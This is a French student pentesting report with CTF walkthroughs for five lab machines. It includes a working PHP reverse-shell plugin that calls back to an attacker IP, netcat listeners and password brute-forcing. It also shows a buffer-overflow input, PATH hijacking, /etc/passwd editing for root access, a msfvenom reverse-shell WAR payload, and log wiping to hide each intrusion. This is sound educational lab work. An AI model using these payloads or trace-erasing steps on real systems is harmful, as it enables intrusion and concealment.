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Toutes mes résolutions de CTF 
 
Voici le compte rendu des différentes résolutions de CTF de BOUGHLEM Bilel et d’adresse 
mail b.boughlem@rt-iut.re :  
 

Machine 1 
 

1.1 - Obtention du premier flag 
 
Nous obtenons l’adresse IP de la machine sur l’interface d’identification de celle-ci, puis 
effectuons un Nmap pour découvrir les différents services qui tournent sur cette machine au 
moyen de la commande nmap 192.168.1.11 :  
 

 
 
Nous avons donc des associations port/service qui sont toutes des pistes pour l’obtention de 
privilèges sur la cible.  
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Tentons d’accéder au serveur web :  
 

 
 
Il y a seulement cette page, analyser le code source et les trames de cette page ne s'est pas 
révélé fructifiant.. Une autre piste plausible serait un répertoire caché, tentons donc de tester 
la majorité des ressources connues sur ce serveur web en utilisant l’outil gobuster grâce à la 
commande gobuster dir -u http://192.168.1.11 -w /usr/share/dirb/wordlists/common.txt :  
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En explorant ces nombreuses pages et leurs encore plus nombreuses ressources 
découvertes au moyen de la commande dirb http://192.168.1.11, nous décidons de nous 
attarder sur cette page intéressante :  
 

 
 
La page de connexion donc, pour wordpress, nous tentons alors plusieurs combinaisons de 
login et de mot passe génériques et finalement parvenons à nous connecter en tant que 
admin de mot de passe admin :  
 

 
 



 

 

 

SAE3.CYBER.04 
 

Découverte du pentesting. 
 

BOUGHLEM 

 
Nous recherchons la page mais aucun flag, il faudra donc utiliser la fonctionnalité d’ajouts de 
plugin pour faire un reverse shell sur la cible ! 
 
Nous créons un plugin et lui ajoutons ce code BOUGHLEM_Bilel_Reverse.php contenu 
dans un fichier zip (sachant qu’un hackeur dans l’illégalité ne mettra pas son nom dans un 
nom de fichier mais nous sommes heureusement dans la légalité) :  
 
<?php 
$ip = '192.168.1.15'; ​ // Adresse IP de la machine attaquante 
$port = 6666;     ​ // Port d'écoute sur la machine attaquante 
 
// Vérification et création du socket 
 
if (($sock = @fsockopen($ip, $port))) { 
​ // Redirection des flux stdin, stdout et stderr vers le socket 
​ $pipes = [ 
    ​ ['pipe', 'r'], // STDIN 
    ​ ['pipe', 'w'], // STDOUT 
    ​ ['pipe', 'w']  // STDERR 
​ ]; 
 
​ // Lancer le shell avec proc_open 
​ $process = @proc_open('/bin/sh', $pipes, $streams); 
​ if (is_resource($process)) { 
    ​ // Lire et écrire entre le processus et le socket 
    ​ while (!feof($sock) && !feof($streams[1])) { 
        ​ fwrite($streams[0], fread($sock, 2048)); 
        ​ fwrite($sock, fread($streams[1], 2048)); 
    ​ } 
   ​   
    ​ // Fermer les flux et le processus 
    ​ fclose($streams[0]); 
    ​ fclose($streams[1]); 
    ​ fclose($streams[2]); 
    ​ proc_close($process); 
​ } 
 
​ // Fermer le socket 
​ fclose($sock); 
} else { 
​ error_log("Connexion au serveur $ip:$port impossible."); 
} 
?> 
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Et voici le plugin créé :  
 

 
 
Mais il y a une erreur à l’activation ?! 
 

 
 
C’est normal, la version du php du serveur doit sans doute être ancienne, nous devons donc 
changer cette syntaxe :  
 
$pipes = [ 
​ ['pipe', 'r'], // STDIN 
​ ['pipe', 'w'], // STDOUT 
​ ['pipe', 'w']  // STDERR 
]; 
 
En ceci :  
 
$pipes = array( 
​ array('pipe', 'r'), // STDIN 
​ array('pipe', 'w'), // STDOUT 
​ array('pipe', 'w')  // STDERR 
); 
 
Et voilà qui est beaucoup mieux :  
 

 
 
Puis mettons notre machine attaquante en écoute sur son port 6666 grâce à la commande 
nc -lvnp 6666 :  
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Et nous obtenons donc un shell avec l’utilisateur www-data :  
 

 
 
La commande script /dev/null -qc /bin/bash est bien pratique puisqu’elle permet d’avoir un 
environnement propre dans notre terminal ou plutôt pseudo-terminal sans message 
d’introduction. Cela rend plus rapide l'exploration du système jusqu’à la découverte du fichier 
flag.txt :  
 

 
 
Effectuons donc une recherche dans tout le système au moyen de la commande sudo find / 
-name "flag.txt" 2>/dev/null en cachant les messages d’erreurs qui seraient bien trop 
nombreux et camouflent une potentielle découverte :  
 

 
 
Et bingo, avons-nous les droits nécessaires pour le lire ? 
 

 
 
Le dernier r signifie que nous possédons les droits de lecture sur le fichier, lisons le donc :  
 

 
 
Le flag est donc fd9ab41e47a9ef4f6477a8a000bf404f. 
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1.2 - Obtention du second flag 
 
Comment pourrions nous devenir super-utilisateur à partir de nos droits actuels ? 
 
Nous observons les fichiers de configuration majeurs de wordpress et finissons par trouver 
ce fichier wp-config.php, les identifiant et mot de passe utilisés pour la connexion mysql sont 
en clair ce qui nous permet de les récupérer :   
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Ces identifiants nous permettent d’ouvrir une session ssh avec root :  
 

 
 
Et avec la même commande sudo find / -name "flag.txt" 2>/dev/null, nous pouvons 
rechercher tous les flag.txt du système en masquant les erreurs :  
 

 
 
Et il y a effectivement un second flag.txt situé dans le dossier root… 
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Rien ne devrait nous empêcher de le lire :  
 

 
 
Le second flag est donc 1be7b0f4a6b5074153612c90a0016e13. 
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1.3 - Suppression des traces 
 
Les fichiers contenant des traces étaient vierges avant nos manipulations, ce qui signifie 
qu’il est simplement possible de vider ces fichiers de leur contenu au moyen de la 
commande echo -n > fichier. A noter également que la commande ls -lt affiche la date de 
dernière modification des fichiers du répertoire sur lequel elle est exécutée et trie les dits 
fichiers par date de dernière modification. 
 
En ce qui concerne le serveur web. 
 
Nous vidons les fichiers /var/log/apache2/access.log et /var/log/apache2/error.log. 
 
En ce qui concerne le système. 
 
Nous vidons les fichiers /var/log/syslog, /var/log/kern.log et /var/log/auth.log. 
 
Nous supprimons évidemment le plugin de reverse shell qui est la trace majeure et la plus 
facile à trouver de la machine. 
 
Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion ou même 
d’activité suspecte (nmap et gobuster par exemple) sur la machine cible. 
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Machine 2 
 
2.1 - Obtention du premier flag 
 
L’adresse IP affichée est en 10.210, une adresse IP privée certes, mais qui ne fait pas partie 
du même réseau que la machine attaquante. Trouvons donc l’adresse IP de la machine cible 
en affichant toutes les adresses IP du réseau avec la commande nmap 192.168.1.0/24 :  
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La seule machine qui nous intéresse est 192.168.1.14. Nous découvrons trois services qui 
tournent, le SSH nécessaire dans le cadre du CTF, un service HTTP à explorer et un service 
ELITE à explorer. 
 
Débutons par le service HTTP, nous tentons d’accéder à la page web :  
 

 
 
Sachant que les trames et le code source de comportent pas d’informations suspectes, il 
faudra donc tenter de trouver des ressources cachées au moyen de la commande gobuster 
dir -u http://192.168.1.14 -w /usr/share/dirb/wordlists/common.txt :  
 

 
 
Mais aucun résultat, et après s’etre attardé quelques temps à essayer de trouver une piste, il 
faudra se mettre à l’idée que c’est une perte de temps de s’attarder trop longtemps sur le 
service HTTP. 
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Attaquons nous donc au service ELITE en tentant d’y accéder :  
 

 
 
Tout fonctionne à l’exception du fait qu’aucun contenu n’est proposé, comme s’il manquait 
un fichier index par exemple. Mais cela ne nous empêche pas d'exécuter l’habituelle 
commande gobuster dir -u http://192.168.1.14 -w /usr/share/dirb/wordlists/common.txt pour 
justement tenter de trouver des ressources cachées :  
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Tentons d’abord d’analyser le contenu de ces sous-répertoires avec la commande curl 
http://192.168.1.14:31337/.bash_history :  
 

 
 
Rien de bien intéressant… Continuons avec curl http://192.168.1.14:31337/.bashrc :  
 
La page retourne un fichier .bashrc classique ce qui ne semble pas être une piste, 
continuons avec curl http://192.168.1.14:31337/.profile :  
 
Mais toujours rien d’intéressant, attaquons nous à présent à la suite avec curl 
http://192.168.1.14:31337/.ssh :  
 

 
 
Voilà qui est plus intéressant, tentons de creuser ces pistes :  
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Le premier fichier obtenu est une clé privée chiffrée avec un mot de passe, tentons de 
récupérer ce mot de passe au moyen de la commande ssh2john 
/home/kali/Downloads/id_rsa > id_rsa.txt :  
 

 
 
Pour l’instant, le mot de passe n’est qu’un hash de type clé privée SSH, tentons de “craquer” 
ce hash au moyen de la commande john --format=SSH id_rsa.txt :  
 

 
 
Et bingo, remplaçons donc covfefe par l’adresse IP de la machine cible pour rendre à nos 
droits leur grandeur au moyen de la commande ssh -i id_rsa simon@192.168.1.14 :  
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Mais cela ne fonctionne pas, pour cause ? Des droits trop permissifs sur le fichier id_rsa 
proposé, puisque c’est ainsi, il suffit simplement de baisser nos droits sur le fichier au moyen 
de la commande chmod 600 id_rsa puis de retenter la connexion :  
 

 
 
Et nous obtenons donc un shell avec l’utilisateur simon. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 

 

SAE3.CYBER.04 
 

Découverte du pentesting. 
 

BOUGHLEM 

 
Et en explorant le système, nous trouvons un fichier /root/flag.txt pour lequel nous n’avons 
aucun droit mais qui sera notre cible. Il est accompagné d’un petit fichier read_message.c, 
lisons le donc :  
 

 
 
Aucun mur n’est assez haut pour contenir les rebelles, nous trouvons donc le premier 
(censé être le second) flag étant flag2{use_the_source_luke}. 
 
Une chose légèrement inquiétante est le “flag2” sous-entendant qu’un “flag1” a été zappé. 
 
Le trouver nous devons. Revenons donc dans le passé… 
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2.2 - Obtention du second flag 
 
Il reste une piste que nous avons laissé inexplorée, c’est robots.txt :  
 

 
 
Trois pages sont interdites pour les robots : .bashrc, .profile et taxes. Faisons donc 
exactement ce qu’il faut faire (ou ne pas faire) en explorant .profile et taxes :  
 

 
 
Si les deux premières pages ne se sont pas révélées intéressantes, la dernière elle si avec 
le flag étant flag1{make_america_great_again}. 
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2.3 - Obtention du troisième flag 
 
Pour obtenir le flag root, nous devons pouvoir lire le fichier /root/flag.txt sachant que seul 
root possède des droits dessus. Commençons par découvrir les commandes sur lesquelles 
simon possède des droits élevés :  
 

 
 
Une commande intéressante est read_message, observons ce qu’elle fait :  
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Sachant que ceci aurait pu être une manière de trouver flag2, cela ne nous fournit pas 
forcément beaucoup d’informations supplémentaires, mais il faut trouver une manière de se 
forcer un passage vers le dernier flag. 
 
Lorsque l’on réexamine ce /root/read_message.c, nous remarquons une faille :  
 
gets(buf); 
 
Pourquoi une faille ? Car buf a une limite de 20 octets tandis que gets n’en a pas… Rendant 
ce programme vulnérable aux injections de type buffer overflow. 
 
Nous tentons diverses manières d’accéder au flag avant d’y arriver au moyen de cette 
manière, voici donc l’explication de l’input à mettre pour accéder au flag :  
 
SimonViveHunterBiden/bin/sh 
 
Simon servant à passer le test du début pour ne pas obtenir le message “d'erreur”. 
 
ViveHunterBiden étant le padding de 15 caractères servant à remplir le buffer pour que l’on 
puisse ensuite laisser place à la commande que l’on veut exécuter. 
 
Cette commande étant /bin/sh, qui nous permettra d’obtenir un shell avec des droits root. 
 
Voici l’exemple concret :  
 

 
 
Le flag étant donc flag3{das_bof_meister}. 
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2.4 - Suppression des traces 
 
Les fichiers contenant des traces étaient vierges avant nos manipulations, ce qui signifie 
qu’il est simplement possible de vider ces fichiers de leur contenu au moyen de la 
commande echo -n > fichier. A noter également que la commande ls -lt affiche la date de 
dernière modification des fichiers du répertoire sur lequel elle est exécutée et trie les dits 
fichiers par date de dernière modification. 
 
Nous vidons les fichiers /var/log/auth.log, /var/log/daemon.log, /var/log/kern.log, 
/var/log/messages et /var/log/syslog. 
 
Nous supprimons évidemment le plugin de reverse shell qui est la trace majeure et la plus 
facile à trouver de la machine. 
 
Nous avons donc obtenu les trois flags puis supprimé les traces d’intrusion sur la machine 
cible. 
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Machine 3 
 

3.1 - Obtention du premier flag 
 

Nous commençons par effectuer un nmap habituel sur le réseau pour connaître l’adresse IP de 

la machine cible :  

 

 

 

Voici les informations plus complètes sur la machine cible obtenues grâce à la commande nmap 
-p 1-65535 -sV -O 192.168.1.15 :  

 

 

 

La nouvelle machine présente deux services : un service de partage de fichiers et un service 

web, analysons donc ces deux services. 
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Voici la page web proposée :  

 

 

 

Et nous affichons les répertoires cachés au moyen de la commande gobuster dir -u 
http://192.168.1.15 -w /usr/share/dirb/wordlists/common.txt :  
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La seule page sur laquelle nous avons le droit d’accès est index.html, toutes les autres sont 

bloquées (erreur de type 403)… 

 

Sachant que c’est donc index.html qui est notre seule piste, tentons de l’analyser de plus près :  

 

 

 

Deux informations importantes sont révélées, le nom de l’utilisateur qui est du2c et son statut 

qui est “en ligne”.  Sachant qu’il y a un serveur ftp qui tourne, tentons d’utiliser du2c comme 

login et le mot de passe du2c en se connectant avec la commande ftp 192.168.1.11 :  

 

 

 

Un échec… 
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Tentons alors de brute-forcer le serveur ftp avec les mots de passe du dictionnaire 

/usr/share/wordlists/rockyou.txt au moyen de la commande hydra -l du2c -P 
/usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.1.11 :  

 

 

 

La commande prend beaucoup de temps et nous ne montrons que le début mais voici ce que 

l’on obtient à la fin :  

 

 

 

Fastidieux, mais finalement, nous trouvons le mot de passe du compte ftp de du2c qui est donc 

superman13. Connectons nous donc à ce serveur ftp avec la même commande qu’avant ! 

 

 

 

Et observons les fichiers contenus grâce à la commande ls :  
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Nous y apercevons notre objectif, le flag contenu dans le fichier flag.txt. Récupérons le donc au 

moyen de la commande get flag.txt :  

 

 

 

Et nous pouvons donc le lire une fois récupéré :  

 

 

 

Le flag est donc 765234e7defcd106aea0353976a60006. 
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3.2 - Obtention du second flag 
 

Continuons sur cette lancée, surtout que nous trouvons une piste quasi-immédiatement :  

 

 

 

Le répertoire racine du serveur ftp est la racine de la machine cible ?! 

 

Cela signifie que du moment que nous avons des droits suffisants, nous pouvons lire et modifier 

tous les fichiers de la machine cible. 

 

Malheureusement, l’utilisateur du2c n’as aucun droit sur le dossier /root, mais cela n’est pas 

important car il possède des droits de lecture et d'exécution sur le dossier /etc. 

 

Récupérons donc le fichier /etc/passwd avec la commande get passwd une fois dans /etc :  
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Nous pouvons alors le modifier localement avant de le réinsérer dans le serveur, changeons 

ceci en ceci :  

 

 

 

Nous modifions les deux 1000 en 0, pour que les UID et GID de l’utilisateur du2c soient 

associés à ceux du superutilisateur root. 

 

Puis nous pouvons insérer ce fichier dans le système au moyen de la commande put passwd 

exécuté une fois dans /etc :  

 

 

 

Une fois la machine cible redémarrée, nous pouvons nous connecter en tant que du2c avec des 

droits de superutilisateur :  

 

 

 

Et obtenons donc le flag qui est 44adc832d115b7957c82440f79c8d201. 
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3.4 - Suppression des traces 
 
Les fichiers contenant des traces étaient vierges avant nos manipulations, ce qui signifie 
qu’il est simplement possible de vider ces fichiers de leur contenu au moyen de la 
commande echo -n > fichier. A noter également que la commande ls -lt affiche la date de 
dernière modification des fichiers du répertoire sur lequel elle est exécutée et trie les dits 
fichiers par date de dernière modification. 
 
En ce qui concerne le serveur web. 
 
Nous vidons les fichiers /var/log/apache2/access.log, /var/log/apache2/access1.log, 
/var/log/apache2/error.log et /var/log/apache2/error1.log. 
 
En ce qui concerne le serveur ftp. 
 
Nous vidons le fichier /var/log/vsftpd.log 
 
En ce qui concerne les tentatives d’authentification.​
​
Nous vidons les fichiers /var/log/auth.log et /var/log/auth.log.1. 
 
En ce qui concerne le système. 
 
Nous vidons les fichiers /var/log/syslog /var/log/kern.log et /var/log/daemon.log mais pas 
/var/log/syslog.1, /var/log/kern.log.1 et /var/log/daemon.log.1 qui contiennent des 
informations étant déjà présentes. 
 
Evidemment, nous modifions le fichier passwd pour qu’il redevienne comme il était avant.. 
 
Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine 
cible. 
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Machine 4 
 

4.1 - Obtention du premier flag 
 
Le protocole habituel, nous scannons le réseau avec la commande nmap 192.168.1.0/24 et 
trouvons l’adresse IP de la machine cible :  
 

 
 
Nous avons donc une machine cible d’adresse IP 192.168.1.10 dans laquelle trois services 
sont actifs : ftp, ssh et http. 
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Obtenons des informations plus détaillées sur la machine cible étant donc 192.168.1.10 au 
moyen de la commande nmap -A 192.168.1.10 :  
 

 
 
Deux failles sautent à l'œil quasi-immédiatement, le mode du service ftp qui est anonyme ce 
qui signifie que n’importe qui peut se connecter et le fait que le répertoire pub permette des 
droits d'écriture, de lecture et d'exécution totaux. 
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Analysons ces deux failles de plus près en nous connectant au service ftp au moyen de la 
commande ftp 192.168.1.10 :  
 

 
 
A noter que pour se connecter de manière anonyme à un serveur ftp, il faut se connecter 
avec l’user anonymous, et peux importe le mot de passe. Ou sommes-nous dans la machine 
cible ? Découvrons le avec la commande pwd :  
 

 
 
Il semblerait que nous soyons à la racine du serveur ftp, listons le contenu de celui-ci au 
moyen de la commande ls :  
 

 
 
C’est le fameux répertoire pub qui donnait des droits totaux à tous les utilisateurs… 
Déplaçons nous dedans et observons ce qu’il contient au moyen des commandes cd pub 
puis ls :  
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Un répertoire vide donc… Il nous aurait permis d’aller plus loin si les serveurs ftp permettent 
d'exécuter les fichiers mais cela serait beaucoup trop dangereux… 
 
Analysons un autre service de la machine cible qui est http :  
 

 
 
C’est simplement la page par défaut lors de l’installation d’apache2 sur une machine Debian. 
Tentons de découvrir des ressources cachées au moyen de la commande gobuster dir -u 
http://192.168.1.10 -w /usr/share/dirb/wordlists/common.txt :  
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Nous avons donc découverts quatres fichiers auxquels nous n’avons pas les droits d'accès, 
deux fichiers auxquels nous pouvons accéder étant index.html et robots.txt et un répertoire 
étant manual. 
 
Observons-les donc ! 
 
Aucune ressource semblant intéressante dans le dossier manual, seulement un cul de sac 
de documentation :  
 

 
 
Et nous avons déjà exploré index.html ce qui laisse robots.txt :  
 

 
 
Outre le mauvais encodage (il aurait fallu ajouter la balise <meta charset=”UTF-8”> dans le 
head inexistant du fichier), nous remarquons que la page nous incite à être un robot pour 
pouvoir le vrai contenu du fichier robots.txt, nous ne pouvons pas devenir des robots mais 
nous pouvons nous faire passer pour des robots gràce à la commande curl -A "Googlebot" 
http://192.168.1.10/robots.txt qui va nous permettre de récupérer le contenu de robots.txt 
tout en se faisant passer pour un robot de Google :  
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Et bingo, un répertoire /765234e7defcd106aea0353976a60006/ est interdit pour les robots, 
mais nous ne sommes pas un robot alors accédons-y !  
 

 
 
En capturant les trames et en analysant le code source, rien ne semble anormal. Ou 
presque, le changement de langue de la page est fait en incluant un fichier php 
correspondant à la langue de la page souhaitée :  
 

 
 
Cela peut sembler être un “longshot” (tir lointain), mais nous pourrions tenter de faire une 
inclusion de fichier malveillant si le fichier n’est pas assez contrôlé. Mais quel fichier 
pourrions-nous exécuter qui pourrait nous permettre d’aller plus loin ? N’oublions pas que ce 
qui nous avait stoppé net dans l’analyse du serveur ftp est que nous ne pouvions pas 
exécuter les fichiers créés, mais nous venons justement de trouver une manière de les 
exécuter. Utilisons donc le même fichier BOUGHLEM_Bilel_Reverse.php (utilisé pour la 
première machine et réutilisé par paresse) que nous insérerons dans la machine cible :  
 

 
 
Et sachant que la plupart des serveurs ftp ont comme racine /var/ftp, le chemin absolu du 
fichier que nous avons injecté devrait être /var/ftp/pub/BOUGHLEM_Bilel_Reverse.php. 
Tentons de faire une inclusion de fichier dans la page vulnérable :  
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Pendant ce temps là, nous mettons la machine attaquante en écoute sur son port 6666 au 
moyen de la commande nc -lvnp 6666 :  
 

 
 
Et nous obtenons un shell ! 
 
La commande script /dev/null -qc /bin/bash est bien pratique puisqu’elle permet d’avoir un 
environnement propre dans notre terminal ou plutôt pseudo-terminal sans message 
d’introduction :  
 

 
 
Et nous sommes donc connectés avec l’utilisateur www-data ce qui est logique puisque c’est 
lui qui a exécuté le fichier php. 
 
Nous nous déplaçons alors dans le répertoire personnel de www-data qui /var/www et 
trouvons le fichier firstflag.txt :  
 

 
 
Le premier flag est donc 4b3c7495e378e85ff02f5e45ee0d7d19. 
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4.2 - Obtention du second flag 
 

Pour trouver le second flag, nous explorons le système de plus près :  

 

 

 

Nous ne pouvons même pas accéder à /root, et tentons d’explorer le répertoire /home pour 

trouver un éventuel indice :  

 

 

 

Il y a donc un utilisateur tom (ou au moins un répertoire tom dans /home). 
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Explorons plus loin. 

 

 

 

Il semble il y avoir un exécutable adminshell et son code source adminshell.c, ce qui signifie que 

nous pouvons tenter d’analyser le code pour trouver une éventuelle faille :  

 

 

 

Et nous trouvons vite la faille :  

 

if (strncmp(user, "tom", 3) == 0) 
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Une faille car le programme ne va tester que les trois premiers caractères de l’user avant de 

passer le test, ce qui signifie qu’un user tomate par exemple pourrait passer le test… 

 

Mais cette faille n’est pas exploitable à l’immédiat car nous ne pouvons pas créer 

d’utilisateurs… 

 

Une autre faille est que nous pouvons tromper le whoami exécuté par le script c en modifiant 

les variables d’environnement au moyen de ces commandes :  

 

echo -e '#!/bin/bash\echo tomate' > /tmp/whoami 
chmod +x /tmp/whoami 
export PATH=/tmp:$PATH 
 

Ces trois commandes créent un script malveillant et modifient l’environnement d’exécution 

pour détourner la commande whoami. La première crée un fichier exécutable nommé whoami 

dans /tmp, qui affiche toujours tomate. La deuxième rend ce fichier exécutable. La troisième 

modifie la variable d’environnement PATH pour que le système priorise le répertoire /tmp lors 

de l'exécution de commandes, forçant ainsi l’utilisation de ce faux whoami au lieu de l’original. 

 

 

 

Pour une explication plus claire, la faille est que le whoami déclaré dans le code n’est pas un 

chemin absolu (censé être /usr/bin/whoami) ce qui signifie que l’on peut le détourner. Et nous 

utilisons tomate pour fanfaronner, mais nous aurions très bien pu utiliser les valeurs tom ou 

tom&jerry… 
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Et nous obtenons un shell root :  

 

 

 

Le second flag est donc 766b8a80810b0535cbe37e9ea3e457db. 
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4.3 - Suppression des traces 
 
Les fichiers contenant des traces étaient vierges avant nos manipulations, ce qui signifie 
qu’il est simplement possible de vider ces fichiers de leur contenu au moyen de la 
commande echo -n > fichier. A noter également que la commande ls -lt affiche la date de 
dernière modification des fichiers du répertoire sur lequel elle est exécutée et trie les dits 
fichiers par date de dernière modification. 
 
En ce qui concerne le serveur ftp. 
 
Nous vidons le fichier /var/log/vsftpd.log. 
 
En ce qui concerne le serveur http. 
 
Nous vidons les fichiers /var/log/apache2/access.log et /var/log/apache2/error.log. 
 
En ce qui concerne le système. 
 
Nous vidons les fichiers /var/log/auth.log, /var/log/daemon.log, /var/log/kern.log, 
/var/log/messages et /var/log/syslog. 
 
Nous supprimons évidemment le fichier php ayant servi à effectuer le reverse shell qui est la 
trace majeure et la plus facile à trouver de la machine. 
 
Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine 
cible. 
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Machine 5 
 

5.1 - Obtention du premier flag 
 
Nous débutons par l’habituel repérage de l’adresse IP de la machine sur le réseau gràca à 
la commande nmap 192.168.1.0/24 :  
 

 
 
Et nous avons donc une machine cible d’adresse ip 192.168.1.10, obtenons plus 
d’informations sur celle-ci au moyen de la commande nmap -A 192.168.1.10 :  
 

 
 
Nous avons donc un service ssh et deux services http. 
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Analysons plus en détail les deux services http en commençant par celui utilisant le port 80 :  
 

 
 
Nous n’avons qu’une simple page index.html par défaut d’apache2 pour ubuntu qui est 
affichée. Et les trames ainsi que le code source sont normaux, essayons de trouver des 
ressources cachées sur le serveur au moyen de la commande gobuster dir -u 
http://192.168.1.10 -w /usr/share/dirb/wordlists/common.txt :  
 

 
 
Il ne semble donc n’y avoir aucune piste sur ce service… 
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Analysons à présent le service http associé au port 8080 :  
 

 
 
Nous avons la simple page par défaut d’installation d’apache tomcat… La page ne contient 
à priori aucune piste également… 
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Tentons de recherche d’éventuelles ressources cachées au moyen de la commande 
gobuster dir -u http://192.168.1.10:8080 -w /usr/share/dirb/wordlists/common.txt :  
 

 
 
Voici donc les répertoires (ou image) auxquels nous pouvons accéder :  
 

 
 
Les trois premiers ne sont qu’une partie d’un cul de sac de documentation… 
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Les deux prochains sont plus intéressants :  
 

 
 

 
 
Nous n’avons pas les droits d’accès sur ces pages, une connexion nous a été proposée et le 
nom du fichier contenant les identifiants et mots de passe des utilisateurs pouvant accéder à 
ces pages est renseigné comme étant tomcat-users.xml… Mais mis à part ces informations, 
nous sommes quelque peu dans le vent, nous avons besoin de plus d’informations que nous 
allons obtenir grâce à la commande nikto 192.168.1.10:8080 :  
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Et nous trouvons ce qui peut être potentiellement intéressant, un fichier readme.txt et un 
fichier backup.zip. Tentons de les analyser bien qu’il soit possible qu’il s’agisse d’une autre 
piste sans issue :  
 

 
 
Il est donc possible qu’il y ait un utilisateur nommé randy, et mieux encore, nous avons 
l’information qu’un mot de passe est caché quelque part dans un fichier lui-même caché 
quelque part sur le serveur http… 
 
Tentons d’analyser le fichier backup.zip à présent :  
 

 
 
Il contient plusieurs fichiers, tous malheureusement protégés par un mot de passe. Nous 
n’avons plus qu’à espérer que le mot de passe de fichiers est faible ou au moins assez 
commun pour être contenu dans le dictionnaire rockyou.txt. 
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Nous testons tous les mots de passe de ce dictionnaire sur le fichier zip au moyen de la 
commande fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt Downloads/backup.zip :  
 

 
 
Et nous trouvons rapidement le mot de passe @a2005200263pmm245 de ces fichiers, nous 
pouvons à présent y accéder, et nous nous souvenons que c’est habituellement le fichier 
tomcat-users.xml qui contient les mots de passe, comme renseigné dans les message 
d’erreur obtenus précédemment, lisons donc son contenu :  
 

 
 
Et voici les mots de passe trouvés, manager-gui et admin-gui semble partager le même mot 
de passe étant joRpH4Q75jbNgs… 
 
Nous parvenons donc à accéder à la page manager/html au moyen de la paire 
identifiant/mot de passe étant admin/joRpH4Q75jbNgs :  
 

 
 
Et après avoir essayé plusieurs des failles trouvées dans d’autres machine mais sans 
succès, nous nous décidons à exploiter l'ancienneté de tomcat pour exploiter des failles 
connues, pour cela nous utilisons l’outil metasploit lancé au moyen de la commande 
msfconsole puis affiche les exploits liés à tomcat avec la commande search tomcat… 
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Et parmi les 70 exploits affichés, il y en a un qui saute à l’oeil car correspondant avec plus 
de précision à votre situation :  
 

 
  
C’est le 18ème exploit nommé Apache Tomcat Manager Authenticated Upload Code 
Execution, exactement ce dont nous avons besoin pour un reverse shell… 
 
Utilisons le donc au moyen de la commande use exploit/multi/http/tomcat_mgr_upload :  
 

 
 
Puis il faut bien évidemment configurer l’exploit pour qu’il sache quoi attaquer, nous 
utiliserons la commande show options pour avoir une idée des différents éléments à 
configurer :  
 

 
 
Voici les informations que nous allons changer sachant que nous voulons attaquer le 
serveur tomcat d’adresse IP 192.168.1.10 à son port 8080 et plus précisément son 
répertoire /manager/html. Nous connaissons le mot de passe de l’utilisateur admin qui est 
joRpH4Q75jbNgs. Cet exploit utilisera le code malveillant java/meterpreter/reverse_tcp. 
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Cela donne comme configurations :  
 

set RHOSTS 192.168.1.10 
set RPORT 8080 
set TARGETURI /manager/html 
set HttpUsername admin 
set HttpPassword joRpH4Q75jbNgs 
set PAYLOAD java/meterpreter/reverse_tcp 

 

 
 
Vérifions que l’exploit est bel et bien configuré à présent :  
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Pourtant, l'exécution de l’exploit avec la commande exploit ne fonctionne pas :  
 

 
 
Testons une seconde manière d’effectuer la même tâche au moyen de la commande 
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.14 LPORT=6666 -f war -o 1.war qui 
va nous permettre de créer un fichier war qui contiendra une charge utile Meterpreter avec 
un reverse shell  :  
 

 
 
A présent, injectons ce fichier chez la cible :  
 

 
 
Après plusieurs autres faibles idées, il faut admettre que… 
 
Cette dernière machine sera malheureusement un échec, car je ne parviens pas à obtenir 
un reverse shell en utilisant metasploit ou autre outils… 
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